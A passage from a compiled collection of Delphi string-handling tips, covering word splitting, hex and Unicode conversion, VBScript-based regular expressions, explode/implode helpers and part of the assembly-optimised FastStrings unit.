  data.LoadFromFile(s);
  Split(data.Text,[',',' ',#10,#13,';','\"','.','!','-','+','*','/','\',
  '(',')','[',']','{','}','<','>','''','"','?','"','#',#0],splited);
  for i:= 0 to splited.Count-1 do
  begin
     if not words.Find(splited.Strings,adr) then
        words.Add(splited.Strings[i]);
     application.processmessages;[i]//make program to respond to user commands while processing in case of very long string.
 end;
...

Автор: Song

Взято из http://forum.sources.ru


HexToStr, '4D 5A' --> 'MZ'

procedure TForm1.Button1Click(Sender: TObject);
const Source: string = '4D 5A';
var S: string;
  t: Integer;
begin
  with TStringList.Create do
  try
    Text := StringReplace(Source, #32, #13#10, [rfReplaceAll]);
    S := '';
    for t := 0 to Count - 1 do
      S := S + Chr(StrToInt('$' + Strings[t]));
    ShowMessage(S);
  finally
    Free;
  end;
end;

Автор: Song

Взято из http://forum.sources.ru


Функции преобразования UNICODE и ANSI строк

StringToWideChar Преобразовывает строку формата ANSI в Unicode-строку.

WideCharLenToString Преобразовывает указанное количество символов Unicode-строки в ANSI строку.

WideCharLenToStrVar Преобразовывает заданное количество символов Unicode-строки в ANSI формат и копирует результат в указанную переменную.

WideCharToString Преобразовывает длинную строку Unicode в ANSI строку.

WideCharLenToStrVar Преобразовывает строку формата Unicode в ANSI-формат и копирует результирующую строку в указанную переменную.
Взято с http://atrussk.ru/delphi/


Регулярные выражения

It is possible to use regular expressions in Delphi thanks to their
implementation inside "Microsoft(r) Windows(r) Script".
First of all I want to say that this article isn't a theoretical
analisys of the regular expressions but an explanation of how to use
them in Delphi.
First of all I suggest you to download the latest version of
"Microsoft(r) Windows(r) Script" at the following url:

http://msdn.microsoft.com/downloads/default.asp?URL=/downloads/sample.asp?url=/msdn-files/027/001/733/msdncompositedoc.xml

Download the desired package.
Once downloaded, run it to install.

It will be installed Microsoft(r) Windows(r) Script wich containes:

Visual Basic(r) Script Edition (VBScript.) Version 5.6,
JScript(r) Version 5.6, Windows Script Components,
Windows Script Host 5.6,
Windows Script Runtime Version 5.6.

We are interested in the implementation of regular expressions,
which is in the file "vbscript.dll". Every time you will want to
run a program, wich exploits regular expressions by using
"Microsoft(r) Windows(r) Script", on a given computer, it will be needed to
copy the file "vbscript.dll" on the target computer and register it with the
following command line:

regsvr32 vbscript.dll

Note that the auto-installing package, you have downloaded from the
internet, automatically do it.

Now let's go to import the type library in Delphi:

In the delphi menu, select "Project" then "Import type library": it
shows a mask containing a list.
Inside the list select "Microsoft VBScript Regular Expressions"
(followed by a version number). It is possible that there are more then
one item with this name (it only changes the version number): in this
situation select the item with the higher version number.
In date September the 23th 2002, the package that can be downloaded
from Microsoft's internet site returns the following value:

"Microsoft VBScript Regular Expressions 5.5 (Version 5.5)"

This version supplies the following "Class Names"
}

    TRegExp
    TMatch
    TMatchCollection
    TSubMatches

{
Define the name of the pascal unit, wich will be the type library import unit, in
the edit box "Unit dir name".

Uncheck the checkbox "Generate Component Wrapper" (we are only interested in the
pascal source)
and press the button "Create Unit" to create the import unit.

Let's assume to have the latest available version in date
September the 23th i.e.

    "Microsoft VBScript Regular Expressions 5.5 (Version 5.5)"

The following "interface" are declared:
}

  IRegExp = interface;
  IMatch = interface;
  IMatchCollection = interface;
  IRegExp2 = interface;
  IMatch2 = interface;
  IMatchCollection2 = interface;
  ISubMatches = interface;

{
IRegExp and IRegExp2 are different versions (IRegExp2 is the latest)
of the same "interface". Idem for the other "interface".

Then there are the declarations of CoClasses defined in Type Library.
We map each CoClass to its Default Interface:
}

  RegExp = IRegExp2;
  Match = IMatch2;
  MatchCollection = IMatchCollection2;
  SubMatches = ISubMatches;

//IRegExp2 is the "main" "interface":

// 1) properties:

    a) property Pattern: WideString read Get_Pattern
                                    write Set_Pattern;
    //regular expression

    b) property IgnoreCase: WordBool read Get_IgnoreCase
                                     write Set_IgnoreCase;
    //"case insensitive" search (TRUE o FALSE)

    c) property Global: WordBool read Get_Global write Set_Global;
    //TRUE for global search on the input string of the method "Execute"
    //FALSE if you want to stop after the first match

    d) property Multiline: WordBool read Get_Multiline
                                    write Set_Multiline;
    //If the input string contains '\n' charachters, it contains several
    //rows. If Multiline = FALSE (default value) then the regular
    //expression must be tested distinctly on each row.
    //If Multiline = TRUE the regular expression must be tested on the
    //whole input string.

// 2) methods:

    a) function  Execute(const sourceString: WideString): IDispatch;
                                                          safecall;
    //it returns a Matches collection object containing a match object
    //for each succesfull match

    b) function  Test(const sourceString: WideString): WordBool;
                                                       safecall;
    //it returns TRUE if the regular expression can succesfully be
    //matched against the string

    c) function  Replace(const sourceString: WideString;
                      const replaceString: WideString): WideString;
                                                          safecall;
    //it replaces all the matches, inside "sourceString" with the
    //replace string "replaceString".
    //You can use the values $1, $2, $3, ... in order to define a
    //replace-string made by substrings of the pattern.

{
IMatchCollection2 collects all the matches

For example:
}

var
  i: integer;
  MatchesCollection: IMatchCollection2;

{...}

  MatchesCollection := Execute(InputStr) as IMatchCollection2;

  for i := 1 to MatchesCollection.Count - 1 do
    begin
      Memo1.Lines.Add((MatchesCollection.Item[i] as IMatch2).Value);
    end;

{...}

{Remember that you can substitute the "interface" types with
the CoClass types:

  RegExp            (IRegExp2)
  Match             (IMatch2)
  MatchCollection   (IMatchCollection2)
  SubMatches        (ISubMatches)

The main properties of IMatchCollection2 are:}

    a) property Item[index: Integer]: IDispatch read Get_Item;
                                                     default;
    //Matches array; index in [0..n]

    b) property Count: Integer read Get_Count;
    //Number of matches

{The Item property returns "IMatch2" values

IMatch2 represents each succesfull match

The main properties are}

    a) property Value: WideString read Get_Value;
    //matched value or text

    b) property FirstIndex: Integer read Get_FirstIndex;
    //the position within the original string where the match occurred.
    //Note that the first position in a string is 0

    c) property Length: Integer read Get_Length;
    //length of the matched string

    d) property SubMatches: IDispatch read Get_SubMatches;
    //substrings ($1, $2, $3, ...)

{ISubMatches collects the values of $1, $2, $3, ...

The main properties are}

    a) property Item[index: Integer]: OleVariant read Get_Item;
                                                      default;
    //for example Item[3] is $3; note that index values start from 0

    property Count: Integer read Get_Count;
    //number of substrings

{
Short description of $1, $2, $3, ...
They are defined in the following manner:

let's scan the pattern from left to right:
$1 is the substring from the first open parenthesis to the corrisponding
closed one.
$1 is the substring from the second open parenthesis to the corrisponding
closed one.
$1 is the substring from the third open parenthesis to the corrisponding
closed one.
....
For example: let's consider the following pattern

(FTP|HTTP)://([_a-z\d\-]+(\.[_a-z\d\-]+)+)((/[ _a-z\d\-\\\.]+)+)*

$1 = FTP|HTTP
$2 = [_a-z\d\-]+(\.[_a-z\d\-]+)+
$3 = \.[_a-z\d\-]+
$4 = (/[ _a-z\d\-\\\.]+)+
$5 = /[ _a-z\d\-\\\.]+

Finally a couple of examples:

Save an html file from the internet and name it "Test.htm".
Create a new delphi project: drop 2 buttons (btSearch e btReplace)
and a Memo (Memo1); of course include in the "uses" directive the
name of the import unit.
}

//returns all links in "Test.htm" and $1, $2, $3, etc...
procedure TForm1.btSearchClick(Sender: TObject);
var
  i, j: integer;
  FileStream: TFileStream;
  InputStr, InputFile: string;
  RegExp1: RegExp;
  MatchCollection1: MatchCollection;
  Match1: Match;
  SubMatches1: ISubMatches;
begin
  //
  InputFile := 'Test.htm'; //input file

  FileStream := TFileStream.Create(InputFile, fmOpenRead);

  SetLength(InputStr, FileStream.Size);

  FileStream.Read(InputStr[1], FileStream.Size);
  //load "Test.htm" in InputString

  RegExp1 := CoRegExp.Create;

  with RegExp1 do
    begin
      //I want to search all links
      Pattern := '(FTP|HTTP)://([_a-z\d\-]+(\.[_a-z\d\-]+)+)' +
                 '((/[ _a-z\d\-\\\.]+)+)*';
      IgnoreCase := True; //"case insensitive" search
      Global := True; //I want to search all the matches
      MatchCollection1 := Execute(InputStr) as MatchCollection;
    end;

  for i := 0 to MatchCollection1.Count - 1 do
    begin
      Match1 := MatchCollection1.Item[i] as Match;
      Memo1.Lines.Add(Match1.Value);
      SubMatches1 := Match1.SubMatches as SubMatches;
      for j := 0 to SubMatches1.Count - 1 do
        begin
          Memo1.Lines.Add('          ' + '$' + inttostr(j + 1) +
                          ' = ' + VarToStr(SubMatches1.Item[j]));
        end;
    end;

  RegExp1 := nil;

  FileStream.Free;

end;

//I replace all links in "Test.htm" with a new string and
//save the result string in the new file "Test_out.htm"
procedure TForm1.btReplaceClick(Sender: TObject);
var
  i: integer;
  InFileStream, OutFileStream: TFileStream;
  InputStr, OutputStr, InputFile, OutputFile: string;
  RegExp1: RegExp;
  MatchCollection1: MatchCollection;
  Match1: Match;
  SubMatches1: ISubMatches;
begin
  InputFile := 'Test.htm';
  OutputFile := 'Test_out.htm';
  InFileStream := TFileStream.Create(InputFile, fmOpenRead);
  SetLength(InputStr, InFileStream.Size);
  InFileStream.Read(InputStr[1], InFileStream.Size);
  InFileStream.Free;
  RegExp1 := CoRegExp.Create;
  with RegExp1 do
    begin
      Pattern := '(FTP|HTTP)://([_a-z\d\-]+(\.[_a-z\d\-]+)+)' +
                 '((/[ _a-z\d\-\\\.]+)+)*';
      IgnoreCase := True;
      Global := True;
      OutputStr := Replace(InputStr, '$2');
    end;
  OutFileStream := TFileStream.Create(OutputFile, fmCreate);
  SetLength(OutputStr, Length(OutputStr));
  OutFileStream.Write(OutputStr[1], Length(OutputStr));
  OutFileStream.Free;
  RegExp1 := nil;
  ShowMessage('replace completed');
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Explode / Implode a String?

// 1. ...............................................

type
  TStrArray = array of string;

function Explode(var a: TStrArray; Border, S: string): Integer;
var
  S2: string;
begin
  Result  := 0;
  S2 := S + Border;
  repeat
    SetLength(A, Length(A) + 1);
    a[Result] := Copy(S2, 0,Pos(Border, S2) - 1);
    Delete(S2, 1,Length(a[Result] + Border));
    Inc(Result);
  until S2 = '';
end;

// How to use it:

procedure TForm1.Button1Click(Sender: TObject);
var
  S: string;
  A: TStrArray;
  AnzTokens, i: Integer;
begin
  S := 'Ein=Text=durch=Geleichzeichen=getrennt';
  AnzTokens := Explode(A, '=', S);
  for i := 0 to AnzTokens -1 do
    Memo1.Lines.Add(A[i]);
end;

// 2. ...............................................

{
  * These 2 functions are from the programming language PHP, unite certainly well-known.
  * Now one can use it also in Delphi:)
}

{...}

//* Needed type declaration
type
  TExplodeArray = array of String;

{...}

function Implode(const cSeparator: String; const cArray: TExplodeArray): String;
var
  i: Integer;
begin
  Result := '';
  for i := 0 to Length(cArray) -1 do begin
    Result := Result + cSeparator + cArray[i];
  end;
  System.Delete(Result, 1, Length(cSeparator));
end;

function Explode(const cSeparator, vString: String): TExplodeArray;
var
  i: Integer;
  S: String;
begin
  S := vString;
  SetLength(Result, 0);
  i := 0;
  while Pos(cSeparator, S) > 0 do begin
    SetLength(Result, Length(Result) +1);
    Result[i] := Copy(S, 1, Pos(cSeparator, S) -1);
    Inc(i);
    S := Copy(S, Pos(cSeparator, S) + Length(cSeparator), Length(S));
  end;
  SetLength(Result, Length(Result) +1);
  Result[i] := Copy(S, 1, Length(S));
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Количество вхождений подстроки в строку

function CountPos(const subtext: string; Text: string): Integer;
begin
  if (Length(subtext) = 0) or (Length(Text) = 0) or (Pos(subtext, Text) = 0) then
    Result := 0
  else
    Result := (Length(Text) - Length(StringReplace(Text, subtext, '', [rfReplaceAll]))) div
      Length(subtext);
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как использовать format parameter больше одного раза?

Sometimes you probably have written something like this:

s := Format('Hello %s, your name is %s %s', [FirstName, FirstName, LastName]);

(an admittedly stupid example ;-) )

And if you do, you probably found it annoying that you need to specify the FirstName parameter
twice, in particular if there are lots of similar lines.

But this isn't necessary because you can specify the parameter position to use for the placeholder
in the format string like this:

s := Format('Hello %0:s, your name is %0:s %1:s', [FirstName, LastName]);

Just one more example from a code generator I am currently writing:

TableName := 'Customer';
...
s := Format(' f%0:sTableAuto := T%0:sTableAuto.Create(f%0:Table);', [TableName]);

which results in

s := ' fCustomerTableAuto := TCustomerTableAuto.Create(fCustmerTable);';

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


WideString -->String

{:Converts Unicode string to Ansi string using specified code page.
  @param   ws       Unicode string.
  @param   codePage Code page to be used in conversion.
  @returns Converted ansi string.
}

function WideStringToString(const ws: WideString; codePage: Word): AnsiString;
var
  l: integer;
begin
  if ws = '' then
    Result := ''  else
  begin
    l := WideCharToMultiByte(codePage,
      WC_COMPOSITECHECK or WC_DISCARDNS or WC_SEPCHARS or WC_DEFAULTCHAR,
      @ws[1], - 1, nil, 0, nil, nil);
    SetLength(Result, l - 1);
    if l > 1 then
      WideCharToMultiByte(codePage,
        WC_COMPOSITECHECK or WC_DISCARDNS or WC_SEPCHARS or WC_DEFAULTCHAR,
        @ws[1], - 1, @Result[1], l - 1, nil, nil);
  end;
end; { WideStringToString }

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


String --> WideString

{:Converts Ansi string to Unicode string using specified code page.
  @param   s        Ansi string.
  @param   codePage Code page to be used in conversion.
  @returns Converted wide string.
}
function StringToWideString(const s: AnsiString; codePage: Word): WideString;
var
  l: integer;
begin
  if s = '' then
    Result := ''
  else
  begin
    l := MultiByteToWideChar(codePage, MB_PRECOMPOSED, PChar(@s[1]), - 1, nil, 0);
    SetLength(Result, l - 1);
    if l > 1 then
      MultiByteToWideChar(CodePage, MB_PRECOMPOSED, PChar(@s[1]),
        - 1, PWideChar(@Result[1]), l - 1);
  end;
end; { StringToWideString }

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Быстрые операции с очень большими строками

FastStrings.pas

//==================================================
//All code herein is copyrighted by
//Peter Morris
//-----
//Do not alter / remove this copyright notice
//Email me at : support@droopyeyes.com
//
//The homepage for this library is http://www.droopyeyes.com
//
// CURRENT VERSION V3.2
//
//(Check out www.HowToDoThings.com for Delphi articles !)
//(Check out www.stuckindoors.com if you need a free events page on your site !)
//==================================================

unit FastStrings;

interface

uses
   {$IFNDEF LINUX}
     Windows,
   {$ENDIF}
   SysUtils;

//This TYPE declaration will become apparent later
type
  TBMJumpTable = array[0..255] of Integer;
  TFastPosProc = function (const aSource, aFind: Pointer; const aSourceLen, aFindLen: Integer; var JumpTable: TBMJumpTable): Pointer;
  TFastPosIndexProc = function (const aSourceString, aFindString: string; const aSourceLen, aFindLen, StartPos: Integer; var JumpTable: TBMJumpTable): Integer;
  TFastTagReplaceProc = procedure (var Tag: string; const UserData: Integer);

//Boyer-Moore routines
procedure MakeBMTable(Buffer: PChar; BufferLen: Integer; var JumpTable: TBMJumpTable);
procedure MakeBMTableNoCase(Buffer: PChar; BufferLen: Integer; var JumpTable: TBMJumpTable);
function BMPos(const aSource, aFind: Pointer; const aSourceLen, aFindLen: Integer; var JumpTable: TBMJumpTable): Pointer;
function BMPosNoCase(const aSource, aFind: Pointer; const aSourceLen, aFindLen: Integer; var JumpTable: TBMJumpTable): Pointer;

function FastAnsiReplace(const S, OldPattern, NewPattern: string; Flags: TReplaceFlags): string;
procedure FastCharMove(const Source; var Dest; Count : Integer);
function FastCharPos(const aSource : string; const C: Char; StartPos : Integer): Integer;
function FastCharPosNoCase(const aSource : string; C: Char; StartPos : Integer): Integer;
function FastPos(const aSourceString, aFindString : string; const aSourceLen, aFindLen, StartPos : Integer) : Integer;
function FastPosNoCase(const aSourceString, aFindString : string; const aSourceLen, aFindLen, StartPos : Integer) : Integer;
function FastPosBack(const aSourceString, aFindString : string; const aSourceLen, aFindLen, StartPos : Integer) : Integer;
function FastPosBackNoCase(const aSourceString, aFindString : string; const aSourceLen, aFindLen, StartPos : Integer) : Integer;
function FastReplace(const aSourceString : string; const aFindString, aReplaceString : string;
  CaseSensitive : Boolean = False) : string;
function FastTagReplace(const SourceString, TagStart, TagEnd: string;
  FastTagReplaceProc: TFastTagReplaceProc; const UserData: Integer): string;
function SmartPos(const SearchStr,SourceStr : string;
                  const CaseSensitive : Boolean = TRUE;
                  const StartPos : Integer = 1;
                  const ForwardSearch : Boolean = TRUE) : Integer;

implementation

const
  cDeltaSize = 1.5;

var
  GUpcaseTable : array[0..255] of char;
  GUpcaseLUT: Pointer;

//MakeBMJumpTable takes a FindString and makes a JumpTable
procedure MakeBMTable(Buffer: PChar; BufferLen: Integer; var JumpTable: TBMJumpTable);
begin
  if BufferLen = 0 then raise Exception.Create('BufferLen is 0');
  asm
        push    EDI
        push    ESI

        mov     EDI, JumpTable
        mov     EAX, BufferLen
        mov     ECX, $100
        REPNE   STOSD

        mov     ECX, BufferLen
        mov     EDI, JumpTable
        mov     ESI, Buffer
        dec     ECX
        xor     EAX, EAX
@@loop:
        mov     AL, [ESI]
        lea     ESI, ESI + 1
        mov     [EDI + EAX * 4], ECX
        dec     ECX
        jg      @@loop

        pop     ESI
        pop     EDI
  end;
end;

procedure MakeBMTableNoCase(Buffer: PChar; BufferLen: Integer; var JumpTable: TBMJumpTable);
begin
  if BufferLen = 0 then raise Exception.Create('BufferLen is 0');
  asm
        push    EDI
        push    ESI

        mov     EDI, JumpTable
        mov     EAX, BufferLen
        mov     ECX, $100
        REPNE   STOSD

        mov     EDX, GUpcaseLUT
        mov     ECX, BufferLen
        mov     EDI, JumpTable
        mov     ESI, Buffer
        dec     ECX
        xor     EAX, EAX
@@loop:
        mov     AL, [ESI]
        lea     ESI, ESI + 1
        mov     AL, [EDX + EAX]
        mov     [EDI + EAX * 4], ECX
        dec     ECX
        jg      @@loop

        pop     ESI
        pop     EDI
  end;
end;

function BMPos(const aSource, aFind: Pointer; const aSourceLen, aFindLen: Integer; var JumpTable: TBMJumpTable): Pointer;
var
  LastPos: Pointer;
begin
  LastPos := Pointer(Integer(aSource) + aSourceLen - 1);
  asm
        push    ESI
        push    EDI
        push    EBX

        mov     EAX, aFindLen
        mov     ESI, aSource
        lea     ESI, ESI + EAX - 1
        std
        mov     EBX, JumpTable

@@comparetext:
        cmp     ESI, LastPos
        jg      @@NotFound
        mov     EAX, aFindLen
        mov     EDI, aFind
        mov     ECX, EAX
        push    ESI //Remember where we are
        lea     EDI, EDI + EAX - 1
        xor     EAX, EAX
@@CompareNext:
        mov     al, [ESI]
        cmp     al, [EDI]
        jne     @@LookAhead
        lea     ESI, ESI - 1
        lea     EDI, EDI - 1
        dec     ECX
        jz      @@Found
        jmp     @@CompareNext

@@LookAhead:
        //Look up the char in our Jump Table
        pop     ESI
        mov     al, [ESI]
        mov     EAX, [EBX + EAX * 4]
        lea     ESI, ESI + EAX
        jmp     @@CompareText

@@NotFound:
        mov     Result, 0
        jmp     @@TheEnd
@@Found:
        pop     EDI //We are just popping, we don't need the value
        inc     ESI
        mov     Result, ESI
@@TheEnd:
        cld
        pop     EBX
        pop     EDI
        pop     ESI
  end;
end;

function BMPosNoCase(const aSource, aFind: Pointer; const aSourceLen, aFindLen: Integer; var JumpTable: TBMJumpTable): Pointer;
var
  LastPos: Pointer;
begin
  LastPos := Pointer(Integer(aSource) + aSourceLen - 1);
  asm
        push    ESI
        push    EDI
        push    EBX

        mov     EAX, aFindLen
        mov     ESI, aSource
        lea     ESI, ESI + EAX - 1
        std
        mov     EDX, GUpcaseLUT

@@comparetext:
        cmp     ESI, LastPos
        jg      @@NotFound
        mov     EAX, aFindLen
        mov     EDI, aFind
        push    ESI //Remember where we are
        mov     ECX, EAX
        lea     EDI, EDI + EAX - 1
        xor     EAX, EAX
@@CompareNext:
        mov     al, [ESI]
        mov     bl, [EDX + EAX]
        mov     al, [EDI]
        cmp     bl, [EDX + EAX]
        jne     @@LookAhead
        lea     ESI, ESI - 1
        lea     EDI, EDI - 1
        dec     ECX
        jz      @@Found
        jmp     @@CompareNext

@@LookAhead:
        //Look up the char in our Jump Table
        pop     ESI
        mov     EBX, JumpTable
        mov     al, [ESI]
        mov     al, [EDX + EAX]
        mov     EAX, [EBX + EAX * 4]
        lea     ESI, ESI + EAX
        jmp     @@CompareText

@@NotFound:
        mov     Result, 0
        jmp     @@TheEnd
@@Found:
        pop     EDI //We are just popping, we don't need the value
        inc     ESI
        mov     Result, ESI
@@TheEnd:
        cld
        pop     EBX
        pop     EDI
        pop     ESI
  end;
end;

//NOTE : FastCharPos and FastCharPosNoCase do not require you to pass the length
//       of the string, this was only done in FastPos and FastPosNoCase because
//       they are used by FastReplace many times over, thus saving a LENGTH()
//       operation each time.  I can't see you using these two routines for the
//       same purposes so I didn't do that this time !
function FastCharPos(const aSource : string; const C: Char; StartPos : Integer) : Integer;
var
  L                           : Integer;
begin
  //If this assert failed, it is because you passed 0 for StartPos, lowest value is 1 !!
  Assert(StartPos > 0);

  Result := 0;
  L := Length(aSource);
  if L = 0 then exit;
  if StartPos > L then exit;
  Dec(StartPos);
  asm
      PUSH EDI                 //Preserve this register

      mov  EDI, aSource        //Point EDI at aSource
      add  EDI, StartPos
      mov  ECX, L              //Make a note of how many chars to search through
      sub  ECX, StartPos
      mov  AL,  C              //and which char we want
    @Loop:
      cmp  Al, [EDI]           //compare it against the SourceString
      jz   @Found
      inc  EDI
      dec  ECX
      jnz  @Loop
      jmp  @NotFound
    @Found:
      sub  EDI, aSource        //EDI has been incremented, so EDI-OrigAdress = Char pos !
      inc  EDI
      mov  Result,   EDI
    @NotFound:

      POP  EDI
  end;
end;

function FastCharPosNoCase(const aSource : string; C: Char; StartPos : Integer) : Integer;
var
  L                           : Integer;
begin
  Result := 0;
  L := Length(aSource);
  if L = 0 then exit;
  if StartPos > L then exit;
  Dec(StartPos);
  if StartPos < 0 then StartPos := 0;

  asm
      PUSH EDI                 //Preserve this register
      PUSH EBX
      mov  EDX, GUpcaseLUT

      mov  EDI, aSource        //Point EDI at aSource
      add  EDI, StartPos
      mov  ECX, L              //Make a note of how many chars to search through
      sub  ECX, StartPos

      xor  EBX, EBX
      mov  BL,  C
      mov  AL, [EDX+EBX]
    @Loop:
      mov  BL, [EDI]
      inc  EDI
      cmp  Al, [EDX+EBX]
      jz   @Found
      dec  ECX
      jnz  @Loop
      jmp  @NotFound
    @Found:
      sub  EDI, aSource        //EDI has been incremented, so EDI-OrigAdress = Char pos !
      mov  Result,   EDI
    @NotFound:

      POP  EBX
      POP  EDI
  end;
end;

//The first thing to note here is that I am passing the SourceLength and FindLength
//As neither Source or Find will alter at any point during FastReplace there is
//no need to call the LENGTH subroutine each time !
function FastPos(const aSourceString, aFindString : string; const aSourceLen, aFindLen, StartPos : Integer) : Integer;
var
  JumpTable: TBMJumpTable;
begin
  //If this assert failed, it is because you passed 0 for StartPos, lowest value is 1 !!
  Assert(StartPos > 0);
  if aFindLen < 1 then begin
    Result := 0;
    exit;
  end;
  if aFindLen > aSourceLen then begin
    Result := 0;
    exit;
  end;

  MakeBMTable(PChar(aFindString), aFindLen, JumpTable);
  Result := Integer(BMPos(PChar(aSourceString) + (StartPos - 1), PChar(aFindString),aSourceLen - (StartPos-1), aFindLen, JumpTable));
  if Result > 0 then
    Result := Result - Integer(@aSourceString[1]) +1;
end;

function FastPosNoCase(const aSourceString, aFindString : string; const aSourceLen, aFindLen, StartPos : Integer) : Integer;
var
  JumpTable: TBMJumpTable;
begin
  //If this assert failed, it is because you passed 0 for StartPos, lowest value is 1 !!
  Assert(StartPos > 0);
  if aFindLen < 1 then begin
    Result := 0;
    exit;
  end;
  if aFindLen > aSourceLen then begin
    Result := 0;
    exit;
  end;

  MakeBMTableNoCase(PChar(AFindString), aFindLen, JumpTable);
  Result := Integer(BMPosNoCase(PChar(aSourceString) + (StartPos - 1), PChar(aFindString),aSourceLen - (StartPos-1), aFindLen, JumpTable));
  if Result > 0 then
    Result := Result - Integer(@aSourceString[1]) +1;
end;

function FastPosBack(const aSourceString, aFindString : string; const aSourceLen, aFindLen, StartPos : Integer) : Integer;
var
  SourceLen : Integer;
begin
  if aFindLen < 1 then begin
    Result := 0;
    exit;
  end;
  if aFindLen > aSourceLen then begin
    Result := 0;
    exit;
  end;

  if (StartPos = 0) or  (StartPos + aFindLen > aSourceLen) then
    SourceLen := aSourceLen - (aFindLen-1)
  else
    SourceLen := StartPos;

  asm
          push ESI
          push EDI
          push EBX

          mov EDI, aSourceString
          add EDI, SourceLen
          Dec EDI

          mov ESI, aFindString
          mov ECX, SourceLen
          Mov  Al, [ESI]

    @ScaSB:
          cmp  Al, [EDI]
          jne  @NextChar

    @CompareStrings:
          mov  EBX, aFindLen
          dec  EBX
          jz   @FullMatch

    @CompareNext:
          mov  Ah, [ESI+EBX]
          cmp  Ah, [EDI+EBX]
          Jnz  @NextChar

    @Matches:
          Dec  EBX
          Jnz  @CompareNext

    @FullMatch:
          mov  EAX, EDI
          sub  EAX, aSourceString
          inc  EAX
          mov  Result, EAX
          jmp  @TheEnd
    @NextChar:
          dec  EDI
          dec  ECX
          jnz  @ScaSB

          mov  Result,0

    @TheEnd:
          pop  EBX
          pop  EDI
          pop  ESI
  end;
end;

function FastPosBackNoCase(const aSourceString, aFindString : string; const aSourceLen, aFindLen, StartPos : Integer) : Integer;
var
  SourceLen : Integer;
begin
  if aFindLen < 1 then begin
    Result := 0;
    exit;
  end;
  if aFindLen > aSourceLen then begin
    Result := 0;
    exit;
  end;

  if (StartPos = 0) or  (StartPos + aFindLen > aSourceLen) then
    SourceLen := aSourceLen - (aFindLen-1)
  else
    SourceLen := StartPos;

  asm
          push ESI
          push EDI
          push EBX

          mov  EDI, aSourceString
          add  EDI, SourceLen
          Dec  EDI

          mov  ESI, aFindString
          mov  ECX, SourceLen

          mov  EDX, GUpcaseLUT
          xor  EBX, EBX

          mov  Bl, [ESI]
          mov  Al, [EDX+EBX]

    @ScaSB:
          mov  Bl, [EDI]
          cmp  Al, [EDX+EBX]
          jne  @NextChar

    @CompareStrings:
          PUSH ECX
          mov  ECX, aFindLen
          dec  ECX
          jz   @FullMatch

    @CompareNext:
          mov  Bl, [ESI+ECX]
          mov  Ah, [EDX+EBX]
          mov  Bl, [EDI+ECX]
          cmp  Ah, [EDX+EBX]
          Jz   @Matches

    //Go back to findind the first char
          POP  ECX
          Jmp  @NextChar

    @Matches:
          Dec  ECX
          Jnz  @CompareNext

    @FullMatch:
          POP  ECX

          mov  EAX, EDI
          sub  EAX, aSourceString
          inc  EAX
          mov  Result, EAX
          jmp  @TheEnd
    @NextChar:
          dec  EDI
          dec  ECX
          jnz  @ScaSB

          mov  Result,0

    @TheEnd:
          pop  EBX
          pop  EDI
          pop  ESI
  end;
end;

//My move is not as fast as MOVE when source and destination are both
//DWord aligned, but certainly faster when they are not.
//As we are moving characters in a string, it is not very likely at all that
//both source and destination are DWord aligned, so moving bytes avoids the
//cycle penality of reading/writing DWords across physical boundaries
procedure FastCharMove(const Source; var Dest; Count : Integer);
asm
//Note:  When this function is called, delphi passes the parameters as follows
//ECX = Count
//EAX = Const Source
//EDX = Var Dest

        //If no bytes to copy, just quit altogether, no point pushing registers
        cmp   ECX,0
        Je    @JustQuit

        //Preserve the critical delphi registers
        push  ESI
        push  EDI

        //move Source into ESI  (generally the SOURCE register)
        //move Dest into EDI (generally the DEST register for string commands)
        //This may not actually be neccessary, as I am not using MOVsb etc
        //I may be able just to use EAX and EDX, there may be a penalty for
        //not using ESI, EDI but I doubt it, this is another thing worth trying !
        mov   ESI, EAX
        mov   EDI, EDX

        //The following loop is the same as repNZ MovSB, but oddly quicker !
    @Loop:
        //Get the source byte
        Mov   AL, [ESI]
        //Point to next byte
        Inc   ESI
        //Put it into the Dest
        mov   [EDI], AL
        //Point dest to next position
        Inc   EDI
        //Dec ECX to note how many we have left to copy
        Dec   ECX
        //If ECX <> 0 then loop
        Jnz   @Loop

        //Another optimization note.
        //Many people like to do this

        //Mov AL, [ESI]
        //Mov [EDI], Al
        //Inc ESI
        //Inc ESI

        //There is a hidden problem here, I wont go into too much detail, but
        //the pentium can continue processing instructions while it is still
        //working out the result of INC ESI or INC EDI
        //(almost like a multithreaded CPU)
        //if, however, you go to use them while they are still being calculated
        //the processor will stop until they are calculated (a penalty)
        //Therefore I alter ESI and EDI as far in advance as possible of using them

        //Pop the critical Delphi registers that we have altered
        pop   EDI
        pop   ESI
    @JustQuit:
end;

function FastAnsiReplace(const S, OldPattern, NewPattern: string;
  Flags: TReplaceFlags): string;
var
  BufferSize, BytesWritten: Integer;
  SourceString, FindString: string;
  ResultPChar: PChar;
  FindPChar, ReplacePChar: PChar;
  SPChar, SourceStringPChar, PrevSourceStringPChar: PChar;
  FinalSourceMarker: PChar;
  SourceLength, FindLength, ReplaceLength, CopySize: Integer;
  FinalSourcePosition: Integer;
begin
  //Set up string lengths
  BytesWritten := 0;
  SourceLength := Length(S);
  FindLength := Length(OldPattern);
  ReplaceLength := Length(NewPattern);
  //Quick exit
  if (SourceLength = 0) or (FindLength = 0) or
    (FindLength > SourceLength) then
  begin
    Result := S;
    Exit;
  end;

  //Set up the source string and find string
  if rfIgnoreCase in Flags then
  begin
    SourceString := AnsiUpperCase(S);
    FindString := AnsiUpperCase(OldPattern);
  end else
  begin
    SourceString := S;
    FindString := OldPattern;
  end;

  //Set up the result buffer size and pointers
  try
    if ReplaceLength <= FindLength then
      //Result cannot be larger, only same size or smaller
      BufferSize := SourceLength
    else
      //Assume a source string made entired of the sub string
      BufferSize := (SourceLength * ReplaceLength) div
    FindLength;

    //10 times is okay for starters. We don't want to
    //go allocating much more than we need.
    if BufferSize > (SourceLength * 10) then
      BufferSize := SourceLength * 10;
  except
    //Oops, integer overflow! Better start with a string
    //of the same size as the source.
    BufferSize := SourceLength;
  end;
  SetLength(Result, BufferSize);
  ResultPChar := @Result[1];

  //Set up the pointers to S and SourceString
  SPChar := @S[1];
  SourceStringPChar := @SourceString[1];
  PrevSourceStringPChar := SourceStringPChar;
  FinalSourceMarker := @SourceString[SourceLength - (FindLength - 1)];

  //Set up the pointer to FindString
